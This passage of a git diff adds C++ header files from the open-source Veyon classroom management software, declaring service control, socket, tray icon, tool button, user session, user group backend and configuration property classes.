+ * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef SERVICE_CONTROL_H +#define SERVICE_CONTROL_H + +#include + +#include "VeyonCore.h" + +class QWidget; + +// clazy:excludeall=ctor-missing-parent-argument + +class VEYON_CORE_EXPORT ServiceControl : public QObject +{ + Q_OBJECT +public: + ServiceControl( const QString& name, + const QString& filePath, + const QString& displayName, + QWidget* parent ); + + bool isServiceRegistered(); + void registerService(); + void unregisterService(); + + bool isServiceRunning(); + + void startService(); + void stopService(); + + +private: + typedef QFuture Operation; + void serviceControl( const QString& title, const Operation& operation ); + void graphicalFeedback( const QString &title, const Operation& operation ); + void textFeedback( const QString &title, const Operation& operation ); + + const QString m_name; + const QString m_filePath; + const QString m_displayName; + + QWidget* m_parent; + +}; + +#endif // SERVICE_CONTROL_H diff --git a/core/include/SimpleFeatureProvider.h b/core/include/SimpleFeatureProvider.h new file mode 100644 index 0000000..bca895f --- /dev/null +++ b/core/include/SimpleFeatureProvider.h @@ -0,0 +1,53 @@ +/* + * SimpleFeatureProvider.h - interface class for simple feature plugins + * + * Copyright (c) 2018-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef SIMPLE_FEATURE_PROVIDER_H +#define SIMPLE_FEATURE_PROVIDER_H + +#include "FeatureProviderInterface.h" + +class VEYON_CORE_EXPORT SimpleFeatureProvider : public FeatureProviderInterface +{ +public: + virtual ~SimpleFeatureProvider(); + + bool startFeature( VeyonMasterInterface& master, + const Feature& feature, + const ComputerControlInterfaceList& computerControlInterfaces ) override; + + bool stopFeature( VeyonMasterInterface& master, + const Feature& feature, + const ComputerControlInterfaceList& computerControlInterfaces ) override; + + bool handleFeatureMessage( VeyonMasterInterface& master, const FeatureMessage& message, + ComputerControlInterface::Pointer computerControlInterface ) override; + + bool handleFeatureMessage( VeyonServerInterface& server, const FeatureMessage& message ) override; + + bool handleFeatureMessage( VeyonWorkerInterface& worker, + const FeatureMessage& message ) override; + +}; + +#endif // SIMPLE_FEATURE_PROVIDER_H diff --git a/core/include/SocketDevice.h b/core/include/SocketDevice.h new file mode 100644 index 0000000..718e872 --- /dev/null +++ b/core/include/SocketDevice.h @@ -0,0 +1,95 @@ +/* + * SocketDevice.h - SocketDevice abstraction + * + * Copyright (c) 2010-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef SOCKET_DEVICE_H +#define SOCKET_DEVICE_H + +#include + +class SocketDevice : public QIODevice +{ + Q_OBJECT +public: + typedef enum SocketOperations + { + SocketOpRead, + SocketOpWrite + } SocketOperation; + + typedef qint64 (* Dispatcher )( char* buffer, const qint64 bytes, + SocketOperation operation, void* user ); + + SocketDevice( Dispatcher dispatcher, void *user = nullptr, QObject* parent = nullptr ) : + QIODevice( parent ), + m_dispatcher( dispatcher ), + m_user( user ) + { + open( ReadWrite | Unbuffered ); // Flawfinder: ignore + } + + Dispatcher dispatcher() + { + return m_dispatcher; + } + + void *user() + { + return m_user; + } + + void setUser( void *user ) + { + m_user = user; + } + + qint64 read( char *buf, qint64 bytes ) // Flawfinder: ignore + { + return readData( buf, bytes ); + } + + qint64 write( const char *buf, qint64 bytes ) + { + return writeData( buf, bytes ); + } + +protected: + qint64 readData( char *buf, qint64 bytes ) + { + return m_dispatcher( buf, bytes, SocketOpRead, m_user ); + } + + qint64 writeData( const char *buf, qint64 bytes ) + { + return m_dispatcher( const_cast( buf ), bytes, + SocketOpWrite, m_user ); + } + + +private: + Dispatcher m_dispatcher; + void * m_user; + +} ; + +#endif diff --git a/core/include/SystemTrayIcon.h b/core/include/SystemTrayIcon.h new file mode 100644 index 0000000..0ebfe81 --- /dev/null +++ b/core/include/SystemTrayIcon.h @@ -0,0 +1,108 @@ +/* + * SystemTrayIcon.h - declaration of SystemTrayIcon class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef SYSTEM_TRAY_ICON_H +#define SYSTEM_TRAY_ICON_H + +#include "SimpleFeatureProvider.h" + +class QSystemTrayIcon; +class FeatureWorkerManager; + +class VEYON_CORE_EXPORT SystemTrayIcon : public QObject, public SimpleFeatureProvider, public PluginInterface +{ + Q_OBJECT + Q_INTERFACES(FeatureProviderInterface PluginInterface) +public: + SystemTrayIcon( QObject* parent = nullptr ); + ~SystemTrayIcon() override {} + + void setToolTip( const QString& toolTipText, + FeatureWorkerManager& featureWorkerManager ); + + void showMessage( const QString& messageTitle, + const QString& messageText, + FeatureWorkerManager& featureWorkerManager ); + + Plugin::Uid uid() const override + { + return QStringLiteral("3cb1adb1-6b4d-4934-a641-db767df83eea"); + } + + QVersionNumber version() const override + { + return QVersionNumber( 1, 1 ); + } + + QString name() const override + { + return QStringLiteral( "SystemTrayIcon" ); + } + + QString description() const override + { + return tr( "System tray icon" ); + } + + QString vendor() const override + { + return QStringLiteral( "Veyon Community" ); + } + + QString copyright() const override + { + return QStringLiteral( "Tobias Junghans" ); + } + + const FeatureList& featureList() const override + { + return m_features; + } + + bool handleFeatureMessage( VeyonServerInterface& server, const FeatureMessage& message ) override; + + bool handleFeatureMessage( VeyonWorkerInterface& worker, const FeatureMessage& message ) override; + +private: + enum Commands + { + SetToolTipCommand, + ShowMessageCommand + }; + + enum Arguments + { + ToolTipTextArgument, + MessageTitleArgument, + MessageTextArgument + }; + + const Feature m_systemTrayIconFeature; + const FeatureList m_features; + + QSystemTrayIcon* m_systemTrayIcon; + +}; + +#endif // SYSTEM_TRAY_ICON_H diff --git a/core/include/ToolButton.h b/core/include/ToolButton.h new file mode 100644 index 0000000..40fb12e --- /dev/null +++ b/core/include/ToolButton.h @@ -0,0 +1,157 @@ +/* + * ToolButton.h - declaration of class ToolButton + * + * Copyright (c) 2006-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef TOOL_BUTTON_H +#define TOOL_BUTTON_H + +#include + +#include "VeyonCore.h" + +class QToolBar; + +// clazy:excludeall=ctor-missing-parent-argument + +class VEYON_CORE_EXPORT ToolButton : public QToolButton +{ + Q_OBJECT +public: + ToolButton( const QIcon& icon, + const QString& label, + const QString& altLabel = QString(), + const QString& description = QString(), + const QKeySequence& shortcut = QKeySequence() ); + ~ToolButton() override; + + static void setIconOnlyMode( QWidget* mainWindow, bool enabled ); + + static bool iconOnlyMode() + { + return s_iconOnlyMode; + } + + static void setToolTipsDisabled( bool disabled ) + { + s_toolTipsDisabled = disabled; + } + + static bool toolTipsDisabled() + { + return s_toolTipsDisabled; + } + + void addTo( QToolBar * ); + + +protected: + void enterEvent( QEvent * _e ) override; + void leaveEvent( QEvent * _e ) override; + void mousePressEvent( QMouseEvent * _me ) override; + void paintEvent( QPaintEvent * _pe ) override; + + +signals: + void mouseLeftButton(); + + +private slots: + bool checkForLeaveEvent(); + + +private: + void updateSize(); + + static bool s_toolTipsDisabled; + static bool s_iconOnlyMode; + + int iconSize() const + { + return static_cast( 32 * m_pixelRatio ); + } + + int margin() const + { + return static_cast( 8 * m_pixelRatio ); + } + + int roundness() const + { + return static_cast( 3 * m_pixelRatio ); + } + + int stepSize() const + { + return static_cast( 8 * m_pixelRatio ); + } + + qreal m_pixelRatio; + QIcon m_icon; + QPixmap m_pixmap; + bool m_mouseOver; + + QString m_label; + QString m_altLabel; + QString m_descr; + +} ; + + + +class ToolButtonTip : public QWidget +{ + Q_OBJECT +public: + ToolButtonTip( const QIcon& icon, const QString& title, const QString& description, + QWidget* parent, QWidget* toolButton = nullptr ); + + QSize sizeHint( void ) const override; + + +protected: + void paintEvent( QPaintEvent * _pe ) override; + void resizeEvent( QResizeEvent * _re ) override; + + +private: + void updateMask( void ); + + int margin() const + { + return static_cast( 8 * m_pixelRatio ); + } + + const int ROUNDED = 2000; + + qreal m_pixelRatio; + QPixmap m_pixmap; + QString m_title; + QString m_description; + + QImage m_bg; + + QWidget* m_toolButton; + +} ; + +#endif diff --git a/core/include/UserGroupsBackendInterface.h b/core/include/UserGroupsBackendInterface.h new file mode 100644 index 0000000..f692d87 --- /dev/null +++ b/core/include/UserGroupsBackendInterface.h @@ -0,0 +1,50 @@ +/* + * UserGroupsBackendInterface.h - interface for a UserGroupsBackend + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef USER_GROUPS_BACKEND_INTERFACE_H +#define USER_GROUPS_BACKEND_INTERFACE_H + +#include "PluginInterface.h" + +// clazy:excludeall=copyable-polymorphic + +class UserGroupsBackendInterface +{ +public: + virtual QString userGroupsBackendName() const = 0; + + virtual void reloadConfiguration() = 0; + + virtual QStringList userGroups( bool queryDomainGroups ) = 0; + virtual QStringList groupsOfUser( const QString& username, bool queryDomainGroups ) = 0; + +}; + +typedef QList UserGroupsBackendInterfaceList; + +#define UserGroupsBackendInterface_iid "io.veyon.Veyon.Plugins.UserGroupsBackendInterface" + +Q_DECLARE_INTERFACE(UserGroupsBackendInterface, UserGroupsBackendInterface_iid) + +#endif // USER_GROUPS_BACKEND_INTERFACE_H diff --git a/core/include/UserGroupsBackendManager.h b/core/include/UserGroupsBackendManager.h new file mode 100644 index 0000000..f988239 --- /dev/null +++ b/core/include/UserGroupsBackendManager.h @@ -0,0 +1,49 @@ +/* + * UserGroupsBackendManager.h - header file for UserGroupsBackendManager + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef USER_GROUPS_BACKEND_MANAGER_H +#define USER_GROUPS_BACKEND_MANAGER_H + +#include "UserGroupsBackendInterface.h" + +class VEYON_CORE_EXPORT UserGroupsBackendManager : public QObject +{ + Q_OBJECT +public: + UserGroupsBackendManager( QObject* parent = nullptr ); + + QMap availableBackends(); + + UserGroupsBackendInterface* accessControlBackend(); + + void reloadConfiguration(); + +private: + QMap m_backends; + UserGroupsBackendInterface* m_defaultBackend; + UserGroupsBackendInterface* m_accessControlBackend; + +}; + +#endif // USER_GROUPS_BACKEND_MANAGER_H diff --git a/core/include/UserSessionControl.h b/core/include/UserSessionControl.h new file mode 100644 index 0000000..a963f5f --- /dev/null +++ b/core/include/UserSessionControl.h @@ -0,0 +1,117 @@ +/* + * UserSessionControl.h - declaration of UserSessionControl class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef USER_SESSION_CONTROL_H +#define USER_SESSION_CONTROL_H + +#include + +#include "SimpleFeatureProvider.h" + +class QThread; +class QTimer; + +class VEYON_CORE_EXPORT UserSessionControl : public QObject, public SimpleFeatureProvider, public PluginInterface +{ + Q_OBJECT + Q_INTERFACES(FeatureProviderInterface PluginInterface) +public: + UserSessionControl( QObject* parent = nullptr ); + ~UserSessionControl() override; + + bool getUserSessionInfo( const ComputerControlInterfaceList& computerControlInterfaces ); + + Plugin::Uid uid() const override + { + return QStringLiteral("80580500-2e59-4297-9e35-e53959b028cd"); + } + + QVersionNumber version() const override + { + return QVersionNumber( 1, 1 ); + } + + QString name() const override + { + return QStringLiteral( "UserSessionControl" ); + } + + QString description() const override + { + return tr( "User session control" ); + } + + QString vendor() const override + { + return QStringLiteral( "Veyon Community" ); + } + + QString copyright() const override + { + return QStringLiteral( "Tobias Junghans" ); + } + + const FeatureList& featureList() const override + { + return m_features; + } + + bool startFeature( VeyonMasterInterface& master, const Feature& feature, + const ComputerControlInterfaceList& computerControlInterfaces ) override; + + bool handleFeatureMessage( VeyonMasterInterface& master, const FeatureMessage& message, + ComputerControlInterface::Pointer computerControlInterface ) override; + + bool handleFeatureMessage( VeyonServerInterface& server, const FeatureMessage& message ) override; + +private: + enum Commands + { + GetInfo, + LogonUser, + LogoutUser + }; + + enum Arguments + { + UserName, + }; + + void queryUserInformation(); + bool confirmFeatureExecution( const Feature& feature, QWidget* parent ); + + const Feature m_userSessionInfoFeature; + const Feature m_userLogoutFeature; + const FeatureList m_features; + + QThread* m_userInfoQueryThread; + QTimer* m_userInfoQueryTimer; + + QReadWriteLock m_userDataLock; + QString m_userName; + QString m_userFullName; + +}; + +#endif // USER_SESSION_CONTROL_H diff --git a/core/include/VariantArrayMessage.h b/core/include/VariantArrayMessage.h new file mode 100644 index 0000000..954806c --- /dev/null +++ b/core/include/VariantArrayMessage.h @@ -0,0 +1,68 @@ +/* + * VariantArrayMessage.h - class for sending/receiving a variant array as message + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef VARIANT_ARRAY_MESSAGE_H +#define VARIANT_ARRAY_MESSAGE_H + +#include +#include + +#include "VariantStream.h" + +// clazy:excludeall=rule-of-three + +class VEYON_CORE_EXPORT VariantArrayMessage +{ +public: + typedef quint32 MessageSize; + + VariantArrayMessage( QIODevice* ioDevice ); + + bool send(); + + bool isReadyForReceive(); + + bool receive(); + + QVariant read(); // Flawfinder: ignore + + VariantArrayMessage& write( const QVariant& v ); + + QIODevice* ioDevice() const + { + return m_ioDevice; + } + +private: + enum { + MaxMessageSize = 1024*1024*32 + }; + + QBuffer m_buffer; + VariantStream m_stream; + QIODevice* m_ioDevice; + +} ; + +#endif // VARIANT_ARRAY_MESSAGE_H diff --git a/core/include/VariantStream.h b/core/include/VariantStream.h new file mode 100644 index 0000000..43de28b --- /dev/null +++ b/core/include/VariantStream.h @@ -0,0 +1,46 @@ +/* + * VariantStream.h - read/write QVariant objects to/from QIODevice + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef VARIANT_STREAM_H +#define VARIANT_STREAM_H + +#include + +#include "VeyonCore.h" + +class VEYON_CORE_EXPORT VariantStream +{ +public: + VariantStream( QIODevice* ioDevice ); + + QVariant read(); // Flawfinder: ignore + + void write( const QVariant& v ); + +private: + QDataStream m_dataStream; + +} ; + +#endif diff --git a/core/include/VeyonConfiguration.h b/core/include/VeyonConfiguration.h new file mode 100644 index 0000000..0836fa4 --- /dev/null +++ b/core/include/VeyonConfiguration.h @@ -0,0 +1,112 @@ +/* + * VeyonConfiguration.h - a Configuration object storing system wide + * configuration values + * + * Copyright (c) 2010-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef VEYON_CONFIGURATION_H +#define VEYON_CONFIGURATION_H + +#include + +#include "VeyonCore.h" +#include "Configuration/Object.h" + +#include "VeyonConfigurationProperties.h" + +// clazy:excludeall=ctor-missing-parent-argument,copyable-polymorphic + +class VEYON_CORE_EXPORT VeyonConfiguration : public Configuration::Object +{ + Q_OBJECT +public: + VeyonConfiguration(); + VeyonConfiguration( Configuration::Store* store ); + + static VeyonConfiguration defaultConfiguration(); + + static QString expandPath( QString path ); + + FOREACH_VEYON_CONFIG_PROPERTY(DECLARE_CONFIG_PROPERTY) + + // unluckily we have to declare slots manually as Qt's MOC doesn't do any + // macro expansion :-( +public slots: + void setPluginVersions( const QJsonObject& ); + void setInstallationID( const QString& ); + void setApplicationName( const QString& ); + void setUiLanguage( const QString& ); + void setTrayIconHidden( bool ); + void setFailedAuthenticationNotificationsEnabled( bool ); + void setRemoteConnectionNotificationsEnabled( bool ); + void setServiceAutostart( bool ); + void setMultiSessionServiceEnabled( bool ); + void setSoftwareSASEnabled( bool ); + void setLogLevel( int ); + void setLogToStdErr( bool ); + void setLogToSystem( bool ); + void setLogFileSizeLimitEnabled( bool ); + void setLogFileRotationEnabled( bool ); + void setLogFileSizeLimit( int ); + void setLogFileRotationCount( int ); + void setLogFileDirectory( const QString & ); + void setNetworkObjectDirectoryPlugin( QUuid ); + void setNetworkObjectDirectoryUpdateInterval( int ); + void setDisabledFeatures( const QStringList& ); + void setVncServerPlugin( QUuid ); + void setPrimaryServicePort( int ); + void setVncServerPort( int ); + void setFeatureWorkerManagerPort( int ); + void setDemoServerPort( int ); + void setFirewallExceptionEnabled( bool ); + void setLocalConnectOnly( bool ); + void setUserConfigurationDirectory( const QString & ); + void setScreenshotDirectory( const QString & ); + void setComputerMonitoringUpdateInterval( int ); + void setComputerDisplayRoleContent( int ); + void setComputerMonitoringBackgroundColor( const QColor& ); + void setComputerMonitoringTextColor( const QColor& ); + void setAccessControlForMasterEnabled( bool ); + void setAutoAdjustGridSize( bool ); + void setAutoSwitchToCurrentRoom( bool ); + void setOnlyCurrentRoomVisible( bool ); + void setManualRoomAdditionAllowed( bool ); + void setLocalComputerHidden( bool ); + void setEmptyRoomsHidden( bool ); + void setComputerFilterHidden( bool ); + void setComputerDoubleClickFeature( QUuid ); + void setEnforceSelectedModeForClients( bool ); + void setOpenComputerManagementAtStart( bool ); + void setConfirmDangerousActions( bool ); + void setAuthenticationMethod( int ); + void setPrivateKeyBaseDir( const QString & ); + void setPublicKeyBaseDir( const QString & ); + void setAccessControlUserGroupsBackend( QUuid ); + void setDomainGroupsForAccessControlEnabled( bool ); + void setAccessRestrictedToUserGroups( bool ); + void setAccessControlRulesProcessingEnabled( bool ); + void setAuthorizedUserGroups( const QStringList& ); + void setAccessControlRules( const QJsonArray& ); + +} ; + +#endif diff --git a/core/include/VeyonConfigurationProperties.h b/core/include/VeyonConfigurationProperties.h new file mode 100644 index 0000000..75ee29f --- /dev/null +++ b/core/include/VeyonConfigurationProperties.h @@ -0,0 +1,125 @@ +/* + * VeyonConfigurationProperties.h - definition of every configuration property + * stored in global veyon configuration + * + * Copyright (c) 2016-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef VEYON_CONFIGURATION_PROPERTIES_H +#define VEYON_CONFIGURATION_PROPERTIES_H + +#define FOREACH_VEYON_CORE_CONFIG_PROPERTIES(OP) \ + OP( VeyonConfiguration, VeyonCore::config(), JSONOBJECT, pluginVersions, setPluginVersions, "PluginVersions", "Core" ); \ + OP( VeyonConfiguration, VeyonCore::config(), STRING, installationID, setInstallationID, "InstallationID", "Core" ); \ + +#define FOREACH_VEYON_UI_CONFIG_PROPERTY(OP) \ + OP( VeyonConfiguration, VeyonCore::config(), STRING, applicationName, setApplicationName, "ApplicationName", "UI" ); \ + OP( VeyonConfiguration, VeyonCore::config(), STRING, uiLanguage, setUiLanguage, "Language", "UI" ); + +#define FOREACH_VEYON_SERVICE_CONFIG_PROPERTY(OP) \ + OP( VeyonConfiguration, VeyonCore::config(), BOOL, isTrayIconHidden, setTrayIconHidden, "HideTrayIcon", "Service" ); \ + OP( VeyonConfiguration, VeyonCore::config(), BOOL, failedAuthenticationNotificationsEnabled, setFailedAuthenticationNotificationsEnabled, "FailedAuthenticationNotifications", "Service" ); \ + OP( VeyonConfiguration, VeyonCore::config(), BOOL, remoteConnectionNotificationsEnabled, setRemoteConnectionNotificationsEnabled, "RemoteConnectionNotifications", "Service" ); \ + OP( VeyonConfiguration, VeyonCore::config(), BOOL, isMultiSessionServiceEnabled, setMultiSessionServiceEnabled, "MultiSession", "Service" ); \ + OP( VeyonConfiguration, VeyonCore::config(), BOOL, autostartService, setServiceAutostart, "Autostart", "Service" ); \ + OP( VeyonConfiguration, VeyonCore::config(), BOOL, isSoftwareSASEnabled, setSoftwareSASEnabled, "SoftwareSASEnabled", "Service" ); \ + +#define FOREACH_VEYON_NETWORK_OBJECT_DIRECTORY_CONFIG_PROPERTY(OP) \ + OP( VeyonConfiguration, VeyonCore::config(), UUID, networkObjectDirectoryPlugin, setNetworkObjectDirectoryPlugin, "Plugin", "NetworkObjectDirectory" ); \ + OP( VeyonConfiguration, VeyonCore::config(), INT, networkObjectDirectoryUpdateInterval, setNetworkObjectDirectoryUpdateInterval, "UpdateInterval", "NetworkObjectDirectory" ); \ + +#define FOREACH_VEYON_FEATURES_CONFIG_PROPERTY(OP) \ + OP( VeyonConfiguration, VeyonCore::config(), STRINGLIST, disabledFeatures, setDisabledFeatures, "DisabledFeatures", "Features" ); \ + +#define FOREACH_VEYON_LOGGING_CONFIG_PROPERTY(OP) \ + OP( VeyonConfiguration, VeyonCore::config(), INT, logLevel, setLogLevel, "LogLevel", "Logging" ); \ + OP( VeyonConfiguration, VeyonCore::config(), BOOL, logFileSizeLimitEnabled, setLogFileSizeLimitEnabled, "LogFileSizeLimitEnabled", "Logging" ); \ + OP( VeyonConfiguration, VeyonCore::config(), BOOL, logFileRotationEnabled, setLogFileRotationEnabled, "LogFileRotationEnabled", "Logging" ); \ + OP( VeyonConfiguration, VeyonCore::config(), BOOL, logToStdErr, setLogToStdErr, "LogToStdErr", "Logging" ); \ + OP( VeyonConfiguration, VeyonCore::config(), BOOL, logToSystem, setLogToSystem, "LogToSystem", "Logging" ); \ + OP( VeyonConfiguration, VeyonCore::config(), INT, logFileSizeLimit, setLogFileSizeLimit, "LogFileSizeLimit", "Logging" ); \ + OP( VeyonConfiguration, VeyonCore::config(), INT, logFileRotationCount, setLogFileRotationCount, "LogFileRotationCount", "Logging" ); \ + OP( VeyonConfiguration, VeyonCore::config(), STRING, logFileDirectory, setLogFileDirectory, "LogFileDirectory", "Logging" ); \ + +#define FOREACH_VEYON_VNC_SERVER_CONFIG_PROPERTY(OP) \ + OP( VeyonConfiguration, VeyonCore::config(), UUID, vncServerPlugin, setVncServerPlugin, "Plugin", "VncServer" ); \ + +#define FOREACH_VEYON_NETWORK_CONFIG_PROPERTY(OP) \ + OP( VeyonConfiguration, VeyonCore::config(), INT, primaryServicePort, setPrimaryServicePort, "PrimaryServicePort", "Network" ); \ + OP( VeyonConfiguration, VeyonCore::config(), INT, vncServerPort, setVncServerPort, "VncServerPort", "Network" ); \ + OP( VeyonConfiguration, VeyonCore::config(), INT, featureWorkerManagerPort, setFeatureWorkerManagerPort, "FeatureWorkerManagerPort", "Network" ); \ + OP( VeyonConfiguration, VeyonCore::config(), INT, demoServerPort, setDemoServerPort, "DemoServerPort", "Network" ); \ + OP( VeyonConfiguration, VeyonCore::config(), BOOL, isFirewallExceptionEnabled, setFirewallExceptionEnabled, "FirewallExceptionEnabled", "Network" ); \ + OP( VeyonConfiguration, VeyonCore::config(), BOOL, localConnectOnly, setLocalConnectOnly, "LocalConnectOnly", "Network" ); \ + +#define FOREACH_VEYON_DIRECTORIES_CONFIG_PROPERTY(OP) \ + OP( VeyonConfiguration, VeyonCore::config(), STRING, userConfigurationDirectory, setUserConfigurationDirectory, "UserConfiguration", "Directories" ); \ + OP( VeyonConfiguration, VeyonCore::config(), STRING, screenshotDirectory, setScreenshotDirectory, "Screenshots", "Directories" ); \ + +#define FOREACH_VEYON_MASTER_CONFIG_PROPERTY(OP) \ + OP( VeyonConfiguration, VeyonCore::config(), INT, computerMonitoringUpdateInterval, setComputerMonitoringUpdateInterval, "ComputerMonitoringUpdateInterval", "Master" ); \ + OP( VeyonConfiguration, VeyonCore::config(), INT, computerDisplayRoleContent, setComputerDisplayRoleContent, "ComputerDisplayRoleContent", "Master" ); \ + OP( VeyonConfiguration, VeyonCore::config(), COLOR, computerMonitoringBackgroundColor, setComputerMonitoringBackgroundColor, "ComputerMonitoringBackgroundColor", "Master" ); \ + OP( VeyonConfiguration, VeyonCore::config(), COLOR, computerMonitoringTextColor, setComputerMonitoringTextColor, "ComputerMonitoringTextColor", "Master" ); \ + OP( VeyonConfiguration, VeyonCore::config(), BOOL, accessControlForMasterEnabled, setAccessControlForMasterEnabled, "AccessControlForMasterEnabled", "Master" ); \ + OP( VeyonConfiguration, VeyonCore::config(), BOOL, autoAdjustGridSize, setAutoAdjustGridSize, "AutoAdjustGridSize", "Master" ); \ + OP( VeyonConfiguration, VeyonCore::config(), BOOL, autoSwitchToCurrentRoom, 